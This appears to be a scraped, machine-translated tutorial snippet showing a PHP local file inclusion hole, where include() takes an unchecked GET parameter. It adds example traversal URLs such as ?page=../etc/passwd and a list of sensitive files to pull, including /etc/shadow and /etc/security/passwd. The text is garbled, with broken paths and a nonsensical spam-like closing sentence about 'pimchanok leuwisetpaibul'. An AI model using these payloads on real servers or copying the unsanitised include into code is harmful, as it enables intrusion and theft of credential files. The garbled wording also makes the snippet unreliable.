Code:
Copy code The code is as follows:
$page=$_GET['page'];
include($page.'php');
?>
You can use it like this
http://www.xxx.com/index.php?page=../etc/passwd
http://www.xxx.com/index.php?page=../../ ../etc/passwd
http://www.xxx.com/index.php?page=..../../etc/passwd
Get more data:
etc/profile
etc/services
/ etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/ usr/lib/security/mkuser.default
from hackteach
The above introduces the code for pimchanok leuwisetpaibul php to forge local files containing vulnerabilities, including the content of pimchanok leuwisetpaibul. I hope it will be helpful to friends who are interested in PHP tutorials.